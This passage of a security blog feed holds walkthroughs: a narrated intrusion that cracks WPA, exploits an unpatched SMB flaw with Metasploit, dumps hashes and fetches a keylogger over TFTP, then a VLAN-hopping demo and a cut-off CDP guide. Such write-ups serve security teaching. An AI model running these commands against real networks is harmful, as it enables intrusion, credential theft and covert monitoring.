255, 51);"&gt;./cowpatty -r /root/temp/Walliford-01.cap -d /root/temp/hash -s WF-IT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuNpePVCOqI/AAAAAAAABSs/u5OKnIt2hkY/s1600-h/snapshot8.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 167px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuNpePVCOqI/AAAAAAAABSs/u5OKnIt2hkY/s320/snapshot8.png" alt="" id="BLOGGER_PHOTO_ID_5396272746751736482" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bingo!  Bob got the WPA key in no time at all. He checks it by taking the card out of monitor mode and connecting to the AP.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;airmon-ng stop mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuNqFpHLiuI/AAAAAAAABS0/iSaoFafE0tI/s1600-h/snapshot10.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 221px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuNqFpHLiuI/AAAAAAAABS0/iSaoFafE0tI/s320/snapshot10.png" alt="" id="BLOGGER_PHOTO_ID_5396273423687846626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Excellent, as soon as Bob finishes punching the air and doing his little dance he checks the wifi network for other hosts.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;nmap 192.168.2.0/24 -sP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNqhLzcJDI/AAAAAAAABS8/JsQLacl41xA/s1600-h/snapshot12.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 115px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNqhLzcJDI/AAAAAAAABS8/JsQLacl41xA/s320/snapshot12.png" alt="" id="BLOGGER_PHOTO_ID_5396273896856757298" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Got one, well two if you count the Linksys AP but lets focus on the one using the Belkin card for now. Wondering what ports it has open Bob puts Nmap to good use, again saving the results to a file.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;nmap 192.168.2.102 -sV -oA ~/temp/wal-nmap&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNrI8GRw7I/AAAAAAAABTE/-VhpeLq_mis/s1600-h/snapshot13.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 158px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNrI8GRw7I/AAAAAAAABTE/-VhpeLq_mis/s320/snapshot13.png" alt="" id="BLOGGER_PHOTO_ID_5396274579835569074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bobs intention is to fire up Nessus and scan his target but first he knows a quick way to check for a vulnerability that he knows he has a working exploit for.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;nmap 192.168.2.102 -PN -T4 -p139,445 -n --script=smb-check-vulns --script-args=unsafe=1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNrj-8BeAI/AAAAAAAABTM/uUhyJ0Nw7E8/s1600-h/snapshot15.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 145px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNrj-8BeAI/AAAAAAAABTM/uUhyJ0Nw7E8/s320/snapshot15.png" alt="" id="BLOGGER_PHOTO_ID_5396275044454332418" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Perfect, Nmap has told Bob that he should be able to exploit the remote PC with the conficker exploit.   He can't believe that Walliford still has unpatched PC's for this vulnerability.  I guess the guys from pauldotcom are right. They have a firewall and they have AV so there safe right? Wrong!&lt;br /&gt;&lt;br /&gt;Bob confirms his findings with Nessus and checks for any other vulnerabilities that he might have some fun with.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNr5-sFmDI/AAAAAAAABTU/lr-GUogKy3o/s1600-h/snapshot17.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 221px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNr5-sFmDI/AAAAAAAABTU/lr-GUogKy3o/s320/snapshot17.png" alt="" id="BLOGGER_PHOTO_ID_5396275422344615986" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Well Nessus confirmed the vulnerability from his Nmap scan which is good but it doesn't find much else. Oh well, he saves his scan as an .nbe file so he can feed it into Metasploit.&lt;br /&gt;&lt;br /&gt;After firing up Metasploit Bob decides to try out the db_autopwn feature to launch any exploits that it has against the ports it's found open.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;db_create walliford&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;db_import_nessus_nbe /root/temp/walliford.nbe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;db_hosts&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;db_autopwn -p -e -r -t&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNsXZWrzdI/AAAAAAAABTc/5yDLS_72VKA/s1600-h/snapshot18.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 216px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNsXZWrzdI/AAAAAAAABTc/5yDLS_72VKA/s320/snapshot18.png" alt="" id="BLOGGER_PHOTO_ID_5396275927718809042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Oh and time for another crazy dance, Bob gets a session on the remote host and he can see that he's got system privileges which is always nice. He dumps out the local users hashes for some John the Ripper fun later and he checks out the route table.  Superb, he can see that the remote host is also connected to the Walliford LAN.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;sysinfo&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;getuid&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;hashdump&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuNuCZpErTI/AAAAAAAABTk/4fPIApr_h90/s1600-h/snapshot25.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 198px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuNuCZpErTI/AAAAAAAABTk/4fPIApr_h90/s320/snapshot25.png" alt="" id="BLOGGER_PHOTO_ID_5396277766041939250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;At this point Bob decides at this point to get a little interactive so he pulls up a command prompt on the compromised host.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;execute -H -f cmd.exe -i&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;He TFTP's a couple of handy dandy files from his laptop and grabs the hashes of any domain accounts that have logged into this box. With a hostname such as PC-IT-1 he guesses these are going to be quite useful for his exploration adventures in his new playground.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;tftp -i 192.168.2.101 get cachedump.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;tftp -i 192.168.2.101 get klogger.exe&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;cachedump.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuNv8m33vxI/AAAAAAAABTs/apLt1HNs3cE/s1600-h/snapshot26.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 178px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuNv8m33vxI/AAAAAAAABTs/apLt1HNs3cE/s320/snapshot26.png" alt="" id="BLOGGER_PHOTO_ID_5396279865537707794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now he decides to have a little look around on the server.  He maps a drive to the IT folder and attempts to have a poke around.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;net view \\server01&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;net use * \\server01\IT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SuNxgzlI9zI/AAAAAAAABT0/mgby6J3iBYM/s1600-h/snapshot27.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 190px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SuNxgzlI9zI/AAAAAAAABT0/mgby6J3iBYM/s320/snapshot27.png" alt="" id="BLOGGER_PHOTO_ID_5396281586935723826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Damn.  The NTFS permissions wont allow him access. Then it dawns on him, the system account he is using doesn't have permissions on the server. Maybe not but with a hostname like PC-IT-1 the logged in user probably will have. He comes out of his session lists the processes and then migrates to a process which is running in the context of the user.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;quit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ps&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;getuid&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;migrate 784&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;getuid&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNyckjekvI/AAAAAAAABT8/kE9opJKPT04/s1600-h/snapshot28.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 190px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuNyckjekvI/AAAAAAAABT8/kE9opJKPT04/s320/snapshot28.png" alt="" id="BLOGGER_PHOTO_ID_5396282613694370546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Perfect, he's migrated to the Explorer.exe process and now he's now running as James.  Bob launches an interactive shell again and checks his mapped drives.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;execute -H -f cmd.exe -i&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;net use&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuNzfadx0yI/AAAAAAAABUE/zi7pSM9WfCk/s1600-h/snapshot29.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 162px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuNzfadx0yI/AAAAAAAABUE/zi7pSM9WfCk/s320/snapshot29.png" alt="" id="BLOGGER_PHOTO_ID_5396283762037347106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Brilliant.  Bobs got access to the IT folder.  From here he can have a good poke around before he decides his next move.  He's got some good old fashioned password cracking to do and times getting on so Bob decides to call t a day for now.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-2036582459145605158?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/2036582459145605158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=2036582459145605158&amp;isPopup=true' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2036582459145605158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2036582459145605158'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/10/bobs-double-penetration-adventure-part.html' title='Bobs Double Penetration Adventure - Part 1'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vZAp7b1QDw8/SuQt74OhgYI/AAAAAAAABUM/QXlxrG_BRH0/s72-c/snapshot31.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-8859169696607575476</id><published>2009-10-18T20:23:00.015+01:00</published><updated>2009-10-18T21:49:27.596+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VLAN'/><title type='text'>Abusing VLANs With BackTrack</title><content type='html'>In this post I'm going to have a little fun with VLANs.  As I've been studying for the CCNA cert I've been reading how great VLANs are, so in this post i'm going to have a little fun with some really cool tools from the Backtrack distro.  My aim is to demonstrate why simlpy placing hosts in a seperate VLAN might sometimes not be enough if you really don't want anyone to have access to them.  Let's get started.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tools&lt;/span&gt;&lt;br /&gt;BackTrack&lt;br /&gt;Yersinia&lt;br /&gt;vconfig&lt;br /&gt;Wireshark&lt;br /&gt;Nmap&lt;br /&gt;&lt;br /&gt;I start off by connecting to the LAN and getting a network address&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;dhclient eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/Stt5XrkGZdI/AAAAAAAABQ8/W7hdwnu1LBM/s1600-h/vlan1.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 238px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/Stt5XrkGZdI/AAAAAAAABQ8/W7hdwnu1LBM/s320/vlan1.png" alt="" id="BLOGGER_PHOTO_ID_5394038426444391890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I can see that I'm attached to the network 10.0.1.0/24&lt;br /&gt;&lt;br /&gt;Next I fire up wireshark and check the network for DTP (Dynamic Trunking Protocol) frames and CDP (Cisco Discovery Protocol) frames.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Stt6PSaa4JI/AAAAAAAABRE/PZOB0uNwWkA/s1600-h/vlan4.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 192px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/Stt6PSaa4JI/AAAAAAAABRE/PZOB0uNwWkA/s320/vlan4.png" alt="" id="BLOGGER_PHOTO_ID_5394039381765578898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I can see that I have both CDP and DTP frames present.&lt;br /&gt;&lt;br /&gt;Now I want to tell the switch that my port is a trunk port, for this I'll use Yersinia and tell it to look at DTP.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;yersinia -I&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/Stt6glOen-I/AAAAAAAABRM/idmk49qyRo0/s1600-h/vlan3.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 253px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/Stt6glOen-I/AAAAAAAABRM/idmk49qyRo0/s320/vlan3.png" alt="" id="BLOGGER_PHOTO_ID_5394039678873542626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After I see DTP frames appear in Yersinia I launch the attack to configure the port for trunking.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/Stt7Po4GDyI/AAAAAAAABRU/ZtecDug4xCo/s1600-h/vlan4.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 238px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/Stt7Po4GDyI/AAAAAAAABRU/ZtecDug4xCo/s320/vlan4.png" alt="" id="BLOGGER_PHOTO_ID_5394040487307251490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now I need to know the VLAN number that other networks are on.  Before launching Yersinia I could only see traffic from my own network (10.0.1.0/24), now I can start to see traffic from hosts on another network (192.168.2.2).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/Stt8DzIKVDI/AAAAAAAABRc/yNWRXeRgKAA/s1600-h/vlan5.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 192px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/Stt8DzIKVDI/AAAAAAAABRc/yNWRXeRgKAA/s320/vlan5.png" alt="" id="BLOGGER_PHOTO_ID_5394041383412192306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Looking at the 802.1Q information in the frame I can see that the other network is on VLAN 2.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Stt8l_aAOsI/AAAAAAAABRk/2EDrsmgXdnA/s1600-h/vlan6.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 192px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/Stt8l_aAOsI/AAAAAAAABRk/2EDrsmgXdnA/s320/vlan6.png" alt="" id="BLOGGER_PHOTO_ID_5394041970823805634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;With this information I'll create a new interface in the new network and configure vconfig to tag the frames for VLAN2.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;vconfig add eth0 2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ifconfig eth0.2 up&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ifconfig eth0.2 192.168.2.200/24&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ifconfig&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/Stt85JyOVYI/AAAAAAAABRs/tkxrCugY8vA/s1600-h/vlan7.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 253px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/Stt85JyOVYI/AAAAAAAABRs/tkxrCugY8vA/s320/vlan7.png" alt="" id="BLOGGER_PHOTO_ID_5394042300027262338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now I check I can ping the host I saw with Wireshark and I have a quick look at it's ports with Nmap.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ping -c 2 192.168.2.2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;nmap 192.168.2.2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Stt9QSXy_XI/AAAAAAAABR0/kcblmSJATAI/s1600-h/vlan8.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 253px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/Stt9QSXy_XI/AAAAAAAABR0/kcblmSJATAI/s320/vlan8.png" alt="" id="BLOGGER_PHOTO_ID_5394042697469328754" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Great, I have plenty here to play with, and on port 80 ...........&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/Stt9hqGERzI/AAAAAAAABR8/_zbsGqKlzTs/s1600-h/vlan9.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 210px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/Stt9hqGERzI/AAAAAAAABR8/_zbsGqKlzTs/s320/vlan9.png" alt="" id="BLOGGER_PHOTO_ID_5394042995895191346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Okay obviously this was staged but hopefully it illustrates two things.  VLANs can be abused and Yersinia rocks!!!!!!!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-8859169696607575476?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/8859169696607575476/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=8859169696607575476&amp;isPopup=true' title='16 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8859169696607575476'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8859169696607575476'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/10/abusing-vlans-with-backtrack.html' title='Abusing VLANs With BackTrack'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vZAp7b1QDw8/Stt5XrkGZdI/AAAAAAAABQ8/W7hdwnu1LBM/s72-c/vlan1.png' height='72' width='72'/><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-3256875694756691594</id><published>2009-10-03T15:03:00.008+01:00</published><updated>2009-10-05T21:40:52.186+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CDP'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Discovering Devices with CDP</title><content type='html'>I touched on CDP briefly in a previous post, but here I'll talk a little more about why CDP is so great and how it can be used to help map and manage your network.&lt;br /&gt;&lt;br /&gt;CDP stands for Cisco Discovery Protocol and is basically where your switch or router broadcasts a packet out of every interface stating some information about itself. This information includes:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;IP Address&lt;/li&gt;&lt;li&gt;Port number&lt;/li&gt;&lt;li&gt;Port type&lt;/li&gt;&lt;li&gt;Device name&lt;/li&gt;&lt;li&gt;Device hardware&lt;/li&gt;&lt;li&gt;IOS version&lt;/li&gt;&lt;li&gt;Port speed&lt;/li&gt;&lt;li&gt;Duplex settings&lt;/li&gt;&lt;li&gt;Vlan information&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;That's right, all this really useful information gets thrown out of every port every minute by default and most of us just ignore it.  Well if your a Cisco device you don't. If your a Cisco device you'll take that information and keep it in memory and build up a neighbor database. And if your a geek like me you can use that information to help you map your network and have some CDP fun!  Here's how.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Configuring CDP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Well there's not much to configure. It's on by default it just works.&lt;br /&gt;&lt;br /&gt;Secure#&lt;span style="color: rgb(51, 255, 51);"&gt;show cdp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Global CDP information:&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;    Sending CDP packets every 60 seconds&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;    Sending a holdtime value of 180 seconds&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;    Sending CDPv2 advertisements is  enabled&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I can see from the output above that CDP packets are sent every 60 seconds.  If I wanted to send CDP packets every 30 seconds I could configure that using the following command:&lt;br /&gt;&lt;br /&gt;Secure(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;cdp timer 60&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;OK, lets see what information CDP gives us.&lt;br /&gt;&lt;br /&gt;Secure#&lt;span style="color: rgb(51, 255, 51);"&gt;show cdp neighbors &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge&lt;/span&gt; &lt;span style="font-style: italic;"&gt;                  S - Switch, H - Host, I - IGMP, r - Repeater&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Device ID        Local Intrfce     Holdtme    Capability  Platform  Port ID&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;S1               Eth 0              151          S I      WS-C2950-2Fas 0/17&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;S1               Eth 1              151          S I      WS-C2950-2Fas 0/1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here I can see that I have my routers port Ethernet 0 connected to port FastEthernet 0/17 on a 2950 switch and Ethernet 1 connected to port FastEthernet 0/1 on a 2950 also. I can also see that the Device ID is S1 which is the name of my switch.  Wouldn't it be useful if I new the IP Address of the switch as well.  Well here's how we find that out.&lt;br /&gt;&lt;br /&gt;Secure#&lt;span style="color: rgb(51, 255, 51);"&gt;show cdp neighbors detail &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;-------------------------&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Device ID: S1&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Entry address(es): &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt; IP address: 10.0.1.210&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Platform: cisco WS-C2950-24,  Capabilities: Switch IGMP &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Interface: Ethernet0,  Port ID (outgoing port): FastEthernet0/17&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Holdtime : 158 sec&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Version :&lt;/span&gt; &lt;span 